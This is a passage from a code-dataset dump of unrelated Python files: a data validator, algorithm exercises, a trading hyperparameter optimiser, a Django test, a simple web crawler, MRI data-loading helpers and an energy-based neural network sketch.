= len(response.body)\n conc = len(slot.transferring)\n msg = \"slot: %s | conc: %2d | latency:%5d ms | size: %6d bytes | proxy:%s\" \\\n % (key, conc, latency, size, proxy)\n spider.log(msg, level=logging.DEBUG)\n\n add_or_update(proxy, latency)\n","sub_path":"nobody/magnet/crawler/contrib/extension/throttle.py","file_name":"throttle.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"64183948","text":"\"\"\"\nClass for checking the values from the spreadsheet\nAuthor: dgrill\nDate: 06 Dez 2018\n\"\"\"\nimport logging\n\nclass ValidateData():\n\n plcTypes = (\n 'BOOL',\n 'BYTE',\n 'UINT',\n 'SINT',\n 'INT',\n 'UDINT',\n 'DINT',\n 'WORD',\n 'DWORD',\n 'REAL',\n 'TIME',\n )\n\n invalidCharacters = (\n 'ä',\n 'Ä',\n 'ö',\n 'Ö',\n 'Ü',\n 'ü',\n '$',\n '&',\n\n )\n\n def __init__(self):\n self.max_length_name = 50\n self.max_length_comment = 100\n\n\n def checkDataType(self,datatypes,modulname):\n valid = False\n\n for line,types in enumerate(datatypes.values):\n for cnt,plc_type in enumerate(ValidateData.plcTypes):\n\n if plc_type == types:\n valid = True\n\n if (cnt == (len(ValidateData.plcTypes)) - 1) and not valid:\n logging.warning('Unknown datatype: ' + types + ' in worksheet ' + modulname + ' Line ' + str(line + 2))\n\n # reset valid flag after iteration\n if (cnt == (len(ValidateData.plcTypes)) - 1):\n valid = False\n\n def checkName(self,name, modulname):\n\n for cnt, names in enumerate(name):\n\n if any(i in names for i in ValidateData.invalidCharacters):\n logging.warning('Not allowed character ' + str(ValidateData.invalidCharacters) + ' in worksheet ' + modulname + ' Line ' + str((cnt + 2)))\n\n if len(names) > self.max_length_name:\n logging.warning('Name was too long in worksheet ' + modulname + ' Line ' + str((cnt + 2)) +\n ' | ' + names + ' was ' + str(len(names)) + ' characters long ' + '| Allowed max: ' + str(self.max_length_name))\n\n def checkComment(self,name, modulname):\n\n for cnt, names in enumerate(name):\n\n if any(i in names for i in ValidateData.invalidCharacters):\n logging.warning('Not allowed character ' + str(ValidateData.invalidCharacters) + ' in worksheet ' + modulname + ' Line ' + str((cnt + 2)))\n\n if len(names) > self.max_length_comment:\n logging.warning('Name was too long in worksheet ' + modulname + ' Line ' + str((cnt + 2)) +\n ' | ' + names + ' was ' + str(len(names)) + ' characters long ' + '| Allowed max: ' + str(self.max_length_name))\n\n","sub_path":"CodeGenerator/parser/Checks.py","file_name":"Checks.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"247158702","text":"\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def mergeKLists_min_heap(self, lists):\n from heapq import heappop, heappush\n if not lists:\n return None\n tail = head = ListNode(-1)\n min_heap = []\n for node in lists:\n if node:\n heappush(min_heap, (node.val, node))\n return head.next\n\n def mergeKLists(self, lists):\n \"\"\"\n :type lists: List[ListNode]\n :rtype: ListNode\n \"\"\"\n pass\n\n def mergeKLists_divide(self, lists):\n '''\n Idea: pair up K lists and merge each pair in O(n) (We knew that: Merge\n two sorted lists: T= O(n), S= O(1) )\n - 1st round: There are K/2 lists, each of size is 2 * N\n - 2nd round: There are K/4 lists, each of size is 4 * N\n - nth round: There are K/(2^x) lists, each of size is (2^x) * N\n\n => k/2 * 2n + k/4 * 4n + ... k/(2^x) * (2^x)n = nk * x\n => x = log_2(k)\n => T = O(nk log(k))\n\n '''\n i, j = 0, len(lists) # i從左邊,j從右邊\n while j > 0:\n '''\n 當j還沒走到0時,再把i設為0,就可以繼續縮小\n '''\n i = 0\n while i < j:\n '''\n 把index從1~n縮成1~n/2,而i跟j也都走到n/2附近\n '''\n lists[i] = self.merge_two_sortedList(lists[i], lists[j])\n i += 1\n j -= 1\n return lists[0]\n\n def merge_two_sortedList(self, l1, l2):\n tail = ListNode(0)\n head = tail\n while l1 is not None or l2 is not None:\n if l1 is None:\n tail.next = l2\n l2 = l2.next\n elif l2 is None:\n tail.next = l1\n l1 = l1.next\n if l1.val > l2.val:\n tail.next = l2\n l2 = l2.next\n else:\n tail.next = l1\n l1 = l1.next\n tail = tail.next\n return head.next # 初始值0跟此題無關\n\n# Solution.mergeKLists","sub_path":"23_Merge k Sorted Lists/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"538450281","text":"import pandas as pd\nimport skopt\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os\nimport neptune\nimport json\nimport math\n\nfrom Sim import Sim\nfrom Analysis import Analysis\n\n\nif not os.path.exists('data'):\n\tos.makedirs('data')\n\n\nhyperparameters_init={'sl': -0.04733475134683593, 'tp': 1.4332521489302732, 'ts': 0.2815256642327791, 'ts_threshold': 0.03697953633025906, 'w_dfh': 0.6, 'w_sharpe': 0.2, 'w_100d': 0.2, 'v_100d': 0.3, 'v_dfh': 0.05, 'v_rfl': 0.01}\n\n\nneptune.init('leap-forward/sandbox')\nneptune.create_experiment('mk3', upload_source_files=['*.py'])\n\n\ndef train_evaluate(search_params):\n\t\n\thyperparameters = {}\n\tpick_kwargs = {}\n\tfor k in list(search_params.keys()):\n\t\tif k in ['w_dfh','w_sharpe','w_100d','v_100d','v_dfh','v_rfl']:\n\t\t\tpick_kwargs[k] = search_params[k]\n\t\telse:\n\t\t\thyperparameters[k] = search_params[k]\n\t\n\thyperparameters['pick_kwargs'] = pick_kwargs\n\tprint('------------')\n\tprint(json.dumps(hyperparameters, indent=2, sort_keys=True))\n\t\n\tsim = Sim(neptune=neptune, period='1y', timedelay=100, window=100, timestep=1, budget=5000, stockPicks=5, avoidDowntrends=True, sellAllOnCrash=False, **hyperparameters)\n\tstats = sim.run()\n\n\tanalysis = Analysis(neptune=neptune, stats=stats, positions=sim.portfolio.holdings, prices=sim.downloader.prices)\n\tanalysis.chart()\n\toutput, advanced_stats = analysis.positionStats()\n\t\n\tprint(output)\n\t\n\t#neptune.log_artifact('data/output_1y.pkl')\n\tsharpe = analysis.sharpe()\n\tstats = sim.portfolio.summary()\n\t\n\tneptune.log_metric('sharpe', sharpe)\n\tneptune.log_metric('start_value', 5000)\n\tneptune.log_metric('end_value', stats['total_value'])\n\t\n\treport = {\n\t\t'hyperparameters': hyperparameters,\n\t\t'sharpe': sharpe,\n\t\t'end_value': stats['total_value'],\n\t\t'gains': (stats['total_value']-5000.0)/5000.0\n\t}\n\t\n\tneptune.log_text('report', json.dumps(report, indent=2, sort_keys=True))\n\t\n\tif math.isnan(sharpe):\n\t\treturn 0\n\t\n\treturn sharpe\n\n\t\nSPACE = [\n\tskopt.space.Real(-0.2, -0.01, name='sl'),\n\tskopt.space.Real(0.005, 3.0, name='tp'),\n\tskopt.space.Real(0.005, 0.5, name='ts'),\n\tskopt.space.Real(0.005, 0.25, name='ts_threshold'),\n\tskopt.space.Real(0.1, 0.8, name='w_dfh'),\n\tskopt.space.Real(0.1, 0.8, name='w_sharpe'),\n\tskopt.space.Real(0.1, 0.8, name='w_100d'),\n\tskopt.space.Real(0.1, 0.5, name='v_100d'),\n\tskopt.space.Real(0.005, 0.25, name='v_dfh'),\n\tskopt.space.Real(0.005, 0.25, name='v_rfl')\n]\n\n\n@skopt.utils.use_named_args(SPACE)\ndef objective(**params):\n\treturn -1*train_evaluate(params)\n\nresults = skopt.forest_minimize(objective, SPACE, n_calls=500, n_random_starts=5, n_jobs=3, x0=list(hyperparameters_init.values()))\n\nprint(results)","sub_path":"mk2/optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"78107610","text":"\"\"\"To write the rest of the song, Sofia needs to come up with a perfect rhythm\naccording to the Euclidean Algorithm. In order to calculate it she will need\nthe greatest common divisor of two positive numbers (n>0). Write a function\nthat will calculate a greatest common divisor of two numbers.\n\nInput: A list of two integers.\n\nOutput: The greatest common divisor. An integer.\n\nExample:\ncheckio((12, 8)) == 4\ncheckio((14, 21)) == 7\ncheckio((13, 11)) == 1\nHow it is used: GCD is a basis for the mathematics software.\n\"\"\"\n\ndef gcd(a, b):\n while b != 0:\n t = b\n b = a%b\n a = t\n return a\n\ndef checkio(data):\n a, b = data\n if a < b:\n a = a+b\n b = a-b\n a = a-b\n #replace this for solution\n return gcd(a,b)\n\n\n#These \"asserts\" using only for self-checking and not necessary for auto-testing\nif __name__ == '__main__':\n assert checkio((12, 8)) == 4, \"First example\"\n assert checkio((14, 21)) == 7, \"Second example\"\n assert checkio((13, 11)) == 1, \"Third example\"\n","sub_path":"scripts/023_greatest_common_divisor.py","file_name":"023_greatest_common_divisor.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"501622463","text":"\nfrom django.test.testcases import TestCase\nfrom 試驗.書面表.書面試驗表 import 書面試驗表\nfrom django.urls.base import resolve\nfrom 拍字.介面.匯出資料庫 import 匯出資料庫\n\n\nclass 匯出資料庫試驗(TestCase):\n def setUp(self):\n 書面 = 書面試驗表.新增一筆書面(編號='33', 文章名='333', 作者='33', 類別='S3')\n 資料 = 書面.新增資料(\n None,\n 漢字='媠巧靚喔,\\n',\n 臺羅='Suí-khiáu-tsiâng--oh,\\n'\n )\n 資料.揣文章資料陣列()\n\n def test_對應函式(self):\n 對應 = resolve('/匯出資料庫')\n self.assertEqual(對應.func, 匯出資料庫)\n\n def test_有逝數(self):\n 回應json = self.client.get('/匯出資料庫').json()\n self.assertIn('漢字', 回應json['資料'][0])\n self.assertIn('臺羅', 回應json['資料'][0])\n self.assertIn('文章資料', 回應json['資料'][0])\n\n def test_類別是文學獎(self):\n 回應json = self.client.get('/匯出資料庫').json()\n self.assertEqual(回應json['資料'][0]['類別'], '文學獎')\n","sub_path":"試驗/書面表/test匯出資料庫.py","file_name":"test匯出資料庫.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"97693400","text":"from html.parser import HTMLParser\nfrom urllib.request import urlopen\nfrom urllib import parse\n\n\n# sub class of HTMLParser\nclass LinkParser(HTMLParser):\n # Overriding the method in HTMLParser\n def handle_starttag(self, tag, attrs):\n\n # Check for links with the format \n if tag == 'a':\n for (key, value) in attrs:\n if key == 'href':\n # create the absolute URL\n new_url = parse.urljoin(self.baseUrl, value)\n # Add to the links collection:\n self.links = self.links + [new_url]\n\n # This function is to find the hyperlinks from source page tpo others\n def getLinks(self, url):\n\n self.links = []\n self.baseUrl = url\n # Use the urlopen function from the standard Python 3 library\n response = urlopen(url)\n # Make sure that it is HTML and not JavaScript files, CSS, or .PDFs\n if response.getheader('Content-Type') == 'text/html':\n html_bytes = response.read()\n html_string = html_bytes.decode(\"utf-8\")\n self.feed(html_string)\n return html_string, self.links\n else:\n return \"\", []\n\n\n# Spider function takes in an URL, a word to find, and the number of pages to search through before giving up\ndef spider(url, word, maxPages):\n pages_to_visit = [url]\n number_visited = 0\n visited_pages = []\n\n while number_visited < maxPages and pages_to_visit != []:\n number_visited += 1\n url = pages_to_visit[0]\n pages_to_visit = pages_to_visit[1:]\n\n # check to avoid page looping\n if url in visited_pages:\n continue\n\n try:\n print(number_visited, \"Visiting:\", url)\n parser = LinkParser()\n data, links = parser.getLinks(url)\n if data.find(word) > -1:\n print(\"***The word\", word, \"was found at\", url, \"***\")\n else:\n print(\"The word\", word, \"was not found at\", url)\n # add the newly found links to the collection for next level of crawling\n pages_to_visit = pages_to_visit + links\n visited_pages += [url]\n except Exception as ex:\n template = \"An exception of type {0} occured. Arguments:\\n{1!r}\"\n print (template.format(type(ex).__name__, ex.args))\n\n# main function\ndef main():\n url = \"http://smallbusiness.findlaw.com/starting-a-business/business-start-up-checklist.html\"\n word_to_find = \"Sole proprietorship\"\n give_up_count = 20000\n\n # calling the spider function for web crawling\n spider(url, word_to_find, give_up_count)\n\n\nif __name__ == '__main__': main()\n","sub_path":"Crawler.py","file_name":"Crawler.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"437296554","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"MRI input/output functions\n\n.. autosummary::\n :nosignatures:\n\n load_mri\n save_mri\n load_roi_mri\n save_roi_mri\n\n\"\"\"\nimport numpy as np\nimport nibabel as nib\n\nfrom ...timeseries.utils import eigentimeseries\n\n__all__ = ['load_mri', 'save_mri', 'load_roi_mri', 'save_roi_mri']\n\n\ndef load_mri(func, mask, gm=None, weighting=False, thr=None, gm_scale=False):\n \"\"\"returns functional data\n\n The data is converted into a 2D (n_voxel, n_tps) array.\n\n Parameters\n ----------\n func : string\n Path to fuctional imaging data (e.g. nifti) that contains the 3D + time\n information (n_tps).\n mask : string\n Path to binary mask (e.g. nifti) that defines brain regions. Values > 0\n are regarded as brain tissue.\n gm : string\n imaging-file (e.g. nifti). Gray matter probability mask as e.g.\n calculated with FSL's FAST\n weighting : boolean, optional\n The voxel values of ``func`` are weighted by the gray matter probability\n given by ``gm``.\n Voxel with high gray matter probability become more influential\n (default=False).\n thr : float, optional\n Weighting threshold. Only gray matter probabilities above the given\n threshold are used for the weighting, Voxel below the threshold are\n removed (only if ``weighting=True``).\n gm_scale : boolean, optional\n Scale ``gm`` to the range [0,1] (default=False). This is only necessary\n if data is not already in that range.\n\n Returns\n -------\n ts : ndarray, shape(n, n_tps)\n Timeseries information in a 2D array.\n\n See Also\n --------\n save_mri: save data to disk (including 2D -> 3D/4D transformation)\n\n Examples\n --------\n >>> _, mpath = mni_mask(space='3mm')\n >>> _, fpath = get_fmri_rss_data()\n >>> print fpath, mpath\n '/home/fMRI/resting_state_MNI3mm.nii.gz' '/home/MRI_templates/MNI152_T1_3mm_brain_mask.nii.gz'\n >>> data = load_mri(func=fpath, mask=mpath)\n >>> print data.shape\n (67749, 260)\n >>> data[data!=0].size\n 17614740\n\n >>> # using gray matter weighting\n >>> gm, gmpath = mni_gray_matter_mask('3mm')\n >>> data = load_mri(func=fpath, mask=mpath, gm=gmpath, weighting=True)\n >>> data[data!=0].size\n 10478260\n\n >>> # gray matter weighting with thresholding\n >>> data = load_mri(func=fpath, mask=mpath, gm=gmpath, weighting=True, thr=0.4)\n >>> data[data!=0].size\n 8241220\n >>> data = load_mri(func=fpath, mask=mpath, gm=gmpath, weighting=True, thr=0.8)\n >>> data[data!=0].size\n 4097600\n \"\"\"\n\n #TODO: future implementations\n # subsamp : integer\n # Spatial subsampling to reduce the amount of independent channel (default=0 which means no subsampling).\n # smoothing : integer\n # Spatial smoothing with FWHM. # not impl. yet.\n\n # if subsamp > 0:\n # print 'not impl yet'\n # func = subsampling(func)\n # mask = subsampling(mask)\n\n # if smoothing > 0:\n # print 'not impl yet'\n # func = spatial_smoothing(func)\n\n # ---------------- #\n\n # load mask data\n m = nib.load(mask).get_data()\n\n # load func data\n d = nib.load(func).get_data()\n\n # mask the data\n func_data = d[m != 0]\n\n if weighting:\n gm = nib.load(gm).get_data()\n gm = gm[m != 0]\n\n # normalize into range [0,1]\n if gm_scale:\n # gm /= gm.max()\n gm -= gm.min()\n gm /= gm.max()-gm.min()\n\n if not thr is None:\n gm[gm <= thr] = 0.\n\n func_data = func_data.T * gm\n func_data = func_data.T\n\n del d \n\n return func_data\n\n\ndef save_mri(data, mask, fname=None):\n \"\"\"saves functional data\n\n Parameters\n ----------\n data : ndarray, shape(n,) **or** shape(n, n_tps)\n Data to save to disk.\n mask : string\n Path to binary mask (e.g. nifti) that defines brain regions. Values > 0\n are regarded as brain tissue.\n fname : string\n Filename\n\n Examples\n --------\n >>> mask, mpath = mni_mask(space='3mm') # load data\n >>> mask = mask[mask!=0]\n >>> mask += 1 # some operation\n >>> save_mri(mask, mpath, fname='mask_operation.nii') # save data\n \"\"\"\n # load mask data\n f = nib.load(mask)\n m = f.get_data()\n aff = f.get_affine()\n\n s = m.shape\n if len(data.shape) == 2:\n n_tps = data.shape[1]\n else:\n n_tps = 1\n data = data[:, np.newaxis]\n\n res = np.zeros((s[0], s[1], s[2], n_tps)) # + time\n res[m != 0] = data\n\n # save to disk\n if not fname is None:\n nib.save(nib.Nifti1Image(res, aff), fname)\n\n\ndef load_roi_mri(func, mask, gm=None, mode='mean', weighting=False, thr=None):\n \"\"\"returns mean-/median-/eigen-timeseries based on a provided ROI-mask\n\n Parameters\n ----------\n func : string\n imaging-file (e.g. nifti). Fuctional imaging data that contains the 3D +\n time information (n_tps)\n mask : string\n imaging-file (e.g. nifti). ROIs are defined as areas with the same mask\n value; all values < 1 are discarded\n gm : imaging-file (e.g. nifti) # not impl yet\n Gray matter probability mask as e.g. calculated with FSL's FAST\n mode : string ['mean'|'md'|'eig']\n\n * ``mean``: spatial average of timeseries in ROI (default)\n * ``md``: spatial median of timeseries in ROI\n * ``eig``: extracts the eigen-timeseries in each ROI using a PCA. PCA\n component signals allow for multivariate analysis of functional\n connectivity patterns.\n\n weighting : boolean\n The voxel values of ``func`` are weighted by the gray matther\n probability given by ``gm``. Voxel with high gray matter probability\n become more influential (default=False).\n thr : float\n Weighting threshold [0,100]. Only gray matter probabilities above the\n given threshold are used for the weighting (only if ``weighting=True``)\n\n Returns\n -------\n ts_data : ndarray, shape(n_rois, n_tps)\n ROI-wise averaged timeseries; n_rois (axis 0) is sorted in ascending\n order of the unique mask indices.\n\n Notes\n -----\n Mask values don't need to have ascending or descending order, but the\n returned array is always sorted in ascending order.\n\n Using PCA (``eig``) to summarize the time-course in an ROI has been shown\n to produce *poor results* for parcellations containing 150 regions or fewer\n (especially for anatomically defined regions). In contrast, the performance\n of PCA summarization improves for parcellations with more than 200 regions\n [1]_.\n\n In [2]_ another ``mode`` was used to extract the characteristic timeseries\n for each ROI. The authors first calculated a functional connectivity network\n on the voxel level for each ROI. The Voxel with the highest within-module\n degree z-score was used to determinde the \"most characteristic timeseries\"\n of that particular region (+ 4mm sphere). However this is most likely\n biased to select Voxel in the center of that ROI, as these Voxel show most\n neighbors (spatial dependeny of BOLD).\n\n See Also\n --------\n save_roi_mri: save ROI data\n\n References\n ----------\n .. [1] Craddock, R. C., James, G. A., Holtzheimer, P. E., III, Hu, X. P., &\n Mayberg, H. S. (2011). A whole brain fMRI atlas generated via\n spatially constrained spectral clustering. Human Brain Mapping,\n n/a–n/a. doi:10.1002/hbm.21333\n .. [2] Goulas, A., Uylings, H. B. M., & Stiers, P. (2012). Unravelling the\n intrinsic functional organization of the human lateral frontal\n cortex: a parcellation scheme based on resting state fMRI. Journal\n of Neuroscience, 32(30), 10238–10252.\n doi:10.1523/JNEUROSCI.5852-11.2012\n\n Examples\n --------\n >>> _, func = get_fmri_rss_data()\n >>> __, mask, labels, coords = aal(n=116, space='3mm')\n >>> ts = load_roi_mri(func, mask, mode='mean')\n \"\"\"\n\n # load mask data\n m = nib.load(mask).get_data()\n\n # load func data\n d = nib.load(func).get_data()\n n_samples = d.shape[-1]\n\n if len(m.shape) > 3:\n m = m.reshape(m.shape[0], m.shape[1], m.shape[2])\n\n if not d.shape[:3] == m.shape:\n raise ValueError('The functional data and the given mask are not in the same reference space')\n\n # mask_data = m[m != 0]\n # uni_rois = np.unique(mask_data) # without zero\n # n_rois = uni_rois.size\n\n uni_rois = np.unique(m)[1:] # without zero\n n_rois = uni_rois.size\n\n ts_data = np.empty((n_rois, n_samples))\n roi_counter = 0\n\n # this also works with mask_indices that are not ascending;\n # range(n_rois) does not\n\n #TODO: faster when transform 4D --> 2D array!\n # BUT only for n_rois > 400; for n_rois = 4000 -> 4 x faster\n # but the transformation generates a huge overhead\n\n # mm = m!=0\n # mask_2d = m[mm]\n # data_2d = d[mm]\n #\n # if mode is 'mean':\n # for i in uni_rois:\n # ts_data[roi_counter,:] = np.mean(data_2d[mask_2d == i,:], axis=0)\n # roi_counter += 1\n\n if mode is 'mean':\n for i in uni_rois:\n ts_data[roi_counter,:] = np.mean(d[m == i,:], axis=0)\n roi_counter += 1\n\n elif mode == 'md':\n for i in uni_rois:\n ts_data[roi_counter,:] = np.median(d[m == i,:], axis=0)\n roi_counter += 1\n\n elif mode == 'eig':\n for i in uni_rois:\n ts_data[roi_counter,:] = eigentimeseries(d[m == i,:])\n roi_counter += 1\n\n del d \n\n return ts_data\n\n\n# from numba.decorators import jit\n# from numba import int32\n# nd4type1 = int32[:,:,:,:]\n# nd4type2 = int32[:,:,:]\n#\n# @jit(argtypes=(nd4type1, nd4type2))\n# def load_roi_data_faster_testing(d, mask):\n#\n# n_samples = d.shape[-1]\n# uni_rois = np.unique(mask)[1:]\n# n_rois = uni_rois.size\n#\n# ts_data = np.zeros_like((n_rois, n_samples))\n# roi_counter = 0\n#\n# # this also works with mask_indices that are not ascending;\n# for i in xrange(uni_rois):\n# ts_data[roi_counter,:] = np.mean(d[mask == i,:], axis=0)\n# roi_counter += 1\n# return ts_data\n\n\ndef save_roi_mri(data, mask, fname='roi_data.nii.gz', sort=None):\n \"\"\"saves ROI data (e.g. local graph metrics) to imaging file\n\n Parameters\n ----------\n data : ndarray, shape(n,) **or** shape(n, n_tps)\n Local graph metric that corresponds to the ROIs defined in the mask file.\n mask : string\n Imaging-file (e.g. nifti). ROIs are defined as areas with the same\n unique mask values. Only mask values > 1 are regarded as brain tissue.\n fname : string\n Filename (default='roi_data.nii.gz').\n sort : ndarray, shape(n,), optional\n Integer providing the mapping between data and mask. If no mapping is\n provided, it is assumed to be in ascending order of unique mask values.\n #TODO carefully check sort parameter\n\n Notes\n -----\n If ``sort=None`` the mapping between data values and mask is assumed to be\n ``data[0]=np.unique(mask[mask!=0])[0]``\n\n See Also\n --------\n load_roi_mri: load ROI data\n\n Examples\n --------\n >>> _, func_path = get_fmri_rss_data()\n >>> _, mask_path, labels, coords = aal(n=116, space='3mm')\n >>> data = load_roi_mri(func_path, mask_path)\n >>> A = adj_static(data)\n >>> A[A<0.1] = 0\n >>> k = degree(A)\n >>> print k.shape\n (116,)\n >>> # save local degree k to nifti file\n >>> save_roi_mri(k, mask_path, fname='local_degree.nii.gz')\n\n >>> # save network metrics of dynamic graph\n >>> DG = adj_dynamic(data, reduce=False)\n >>> DG[DG<0.1] = 0\n >>> k_dynamic = local_dynamics(DG, weighted=True, metric='degree')\n >>> print k_dynamic.shape\n (5, 116)\n >>> save_roi_mri(k_dynamic.T, mask_path, fname='local_degree_dynamic.nii.gz')\n \"\"\"\n\n # load mask data\n f = nib.load(mask)\n m = f.get_data()\n aff = f.get_affine()\n uni_rois = np.unique(m[m != 0]) # without zeros\n\n if data.ndim == 2:\n n_tps = data.shape[1]\n else:\n n_tps = 1\n data = data[:, np.newaxis]\n\n if not uni_rois.size == data.shape[0]:\n raise ValueError('The number of nodes provided by data and mask do not match')\n\n xdim, ydim, zdim = m.shape \n res = np.zeros((xdim, ydim, zdim, n_tps)) # + time\n roi_counter = 0\n for i in uni_rois:\n res[m==i] = data[roi_counter,:]\n roi_counter += 1\n\n if not sort is None:\n res = res[sort,:]\n\n # save to disk\n if not fname is None:\n nib.save(nib.Nifti1Image(res, aff), fname)\n","sub_path":"nt/data/io/mri.py","file_name":"mri.py","file_ext":"py","file_size_in_byte":12643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"382041259","text":"lis = [[0 for i in range(100)] for j in range(100)]\r\n\r\nnum = 1 # 记录当前的数\r\nfor i in range(1,101): # 层数\r\n for j, k in zip(list(range(i)), list(range(num, num + i))):\r\n if i % 2 == 0: # 偶数层\r\n lis[j][i-j-1] = k\r\n else:\r\n lis[i-j-1][j] = k\r\n num += 1\r\n\r\nprint(lis[19][19])","sub_path":"月赛/第三次月赛/蛇形填数.py","file_name":"蛇形填数.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"306994152","text":"import tensorflow as tf\nimport numpy as np\n\nfrom absl import flags\n\nflags.DEFINE_float(\n \"learning_rate\", default=0.001, help=\"Initial learning rate.\")\nflags.DEFINE_integer(\n \"epochs\", default=50, help=\"Number of training steps to run.\")\nflags.DEFINE_string(\n \"activation\",\n default=\"selu\",\n help=\"Activation function for all hidden layers.\")\nflags.DEFINE_integer(\n \"batch_size\",\n default=32,\n help=\"Batch size.\")\nflags.DEFINE_string(\n \"data_dir\",\n default=\"/tmp/mnist\",\n help=\"Directory where data is stored (if using real data).\")\nflags.DEFINE_string(\n \"model_dir\",\n default=\"/tmp/equib/\",\n help=\"Directory to put the model's fit.\")\nflags.DEFINE_integer(\n \"viz_steps\", default=500, help=\"Frequency at which to save visualizations.\")\nflags.DEFINE_bool(\n \"delete_existing\",\n default=False,\n help=\"If true, deletes existing `model_dir` directory.\")\nflags.DEFINE_integer(\n \"n_steps\", default=10, help=\"Number of forward steps to take.\")\nflags.DEFINE_integer(\n \"n_hidden\", default=32, help=\"Number of hidden units.\")\nflags.DEFINE_float(\n \"beta\", default=1.0, help=\"Beta.\")\n\nFLAGS = flags.FLAGS\n\ndef energy_fn(x, W, b):\n \"\"\"\n Somehow related to Hopfield nets?\n Define what we mean by 'energy'\n\n - neighbor energy\n i get the part that measures something like the label propagation.\n distance between two strongly connected nodes should be small\n\n What alternatives are there? Want to explore these!\n - what if we used the graph laplacian?\n \"\"\"\n with tf.name_scope('energy_fn'):\n\n h = tf.nn.sigmoid(x)\n\n neighbor_energy = -tf.reduce_sum(tf.matmul(h, tf.matmul(W, h, transpose_b=True)), axis=1)\n nonlin_energy = -tf.reduce_sum(h*b, axis=1)\n lin_energy = tf.reduce_sum(x**2, axis=1)\n\n # tf.contrib.summary.scalar('neighbor_energy', neighbor_energy)\n # tf.contrib.summary.scalar('nonlin_energy', nonlin_energy)\n # tf.contrib.summary.scalar('lin_energy', lin_energy)\n\n return tf.reduce_mean(neighbor_energy + nonlin_energy + lin_energy)\n\ndef forcing_fn(state, vals, idx):\n \"\"\"\n How can I get grads w.r.t the parameters!?\n dLdparam = mse(state, target)\n \"\"\"\n with tf.name_scope('forcing_fn'):\n return tf.losses.mean_squared_error(tf.gather(state, idx, axis=1), vals)\n\ndef energy_fnv2(x, W, b):\n h = tf.nn.relu(x)\n\n # use the graph laplacian to measure differences between neighbors\n # how to calculate the degree!?\n # D = tf.diag(tf.abs(tf.reduce_sum(W, axis=1))**-0.5)\n # L = tf.eye(tf.shape(W)[0]) - tf.matmul(D, tf.matmul(W, D))\n L = tf.diag(tf.reduce_sum(W, axis=1)) - W\n\n neighbor_energy = 0.5*tf.reduce_sum(tf.square(tf.matmul(L, h, transpose_b=True)), axis=0)\n acivation_energy = 0.005*tf.reduce_sum(tf.square(x), axis=1)\n biased_energy = -tf.reduce_sum(h*b, axis=1)\n\n\n return tf.reduce_mean(\n neighbor_energy\n + acivation_energy\n + biased_energy\n )\n\n\ndef get_sym_adj(n_nodes):\n \"\"\"\n Why does the adjacency matrix need to be symmetric?\n Else we cant prove that the back prop is equivalent?\n \"\"\"\n # BUG shouldnt have connections between outputs-outputs and inputs-inputs!\n mat = tf.random_normal(shape=[n_nodes, n_nodes], dtype=tf.float32)\n mat = tf.Variable(mat, name='weights')\n sym = (mat + tf.transpose(mat))/2\n adj = sym - tf.eye(n_nodes)*sym\n return adj, mat\n\ndef get_connectome(n_inputs, n_hidden, n_outputs):\n \"\"\"\n Inputs and outputs do not have lateral connections.\n There is some block structure in the connectome.\n Top and bottom diagonal blocks are zeros.\n Inputs x inputs and outputs x outputs.\n\n [0, A ]\n [AT, W, BT]\n [AT, B , 0]\n\n Args:\n n_inputs (int)\n n_hidden (int)\n n_outputs (int)\n\n Returns:\n variables (list): list of the trainable variables\n mat (tf.tensor): the constructed adjcency matrix (or connectome)\n \"\"\"\n # TODO Hmm, would like a nicer way of doing this.\n # What other types of block structure would be nice?\n # - A deep net via diagonal blocks .\n # - Parallel computation via inverse diagonal blocks /.\n\n n_nodes = n_inputs + n_hidden + n_outputs\n mat = tf.Variable(tf.zeros([n_nodes, n_nodes]), trainable=False)\n\n adj, W = get_sym_adj(n_hidden)\n A = tf.Variable(tf.random_normal([n_inputs, n_hidden + n_outputs]))\n B = tf.Variable(tf.random_normal([n_hidden, n_outputs]))\n variables = [adj, A, B]\n\n # the center\n X, Y = tf.meshgrid(tf.range(n_inputs, n_inputs+n_hidden),\n tf.range(n_inputs, n_inputs+n_hidden))\n idx = tf.reshape(tf.stack([X, Y], axis=2), [-1, 2])\n\n mat = tf.scatter_nd_update(mat, idx, tf.reshape(W, [-1]))\n\n # left-bottom AT\n X, Y = tf.meshgrid(tf.range(n_inputs, n_inputs+n_hidden+n_outputs), tf.range(n_inputs))\n idx = tf.reshape(tf.stack([X, Y], axis=2), [-1, 2])\n\n mat = tf.scatter_nd_update(mat, idx, tf.reshape(tf.transpose(A), [-1]))\n\n # right-top A\n X, Y = tf.meshgrid(tf.range(n_inputs), tf.range(n_inputs, n_inputs+n_hidden+n_outputs))\n idx = tf.reshape(tf.stack([X, Y], axis=2), [-1, 2])\n\n mat = tf.scatter_nd_update(mat, idx, tf.reshape(A, [-1]))\n\n # bottom B\n X, Y = tf.meshgrid(tf.range(n_inputs+n_hidden, n_inputs+n_hidden+n_outputs), tf.range(n_inputs, n_inputs+n_hidden))\n idx = tf.reshape(tf.stack([X, Y], axis=2), [-1, 2])\n\n mat = tf.scatter_nd_update(mat, idx, tf.reshape(B, [-1]))\n\n # right BT\n X, 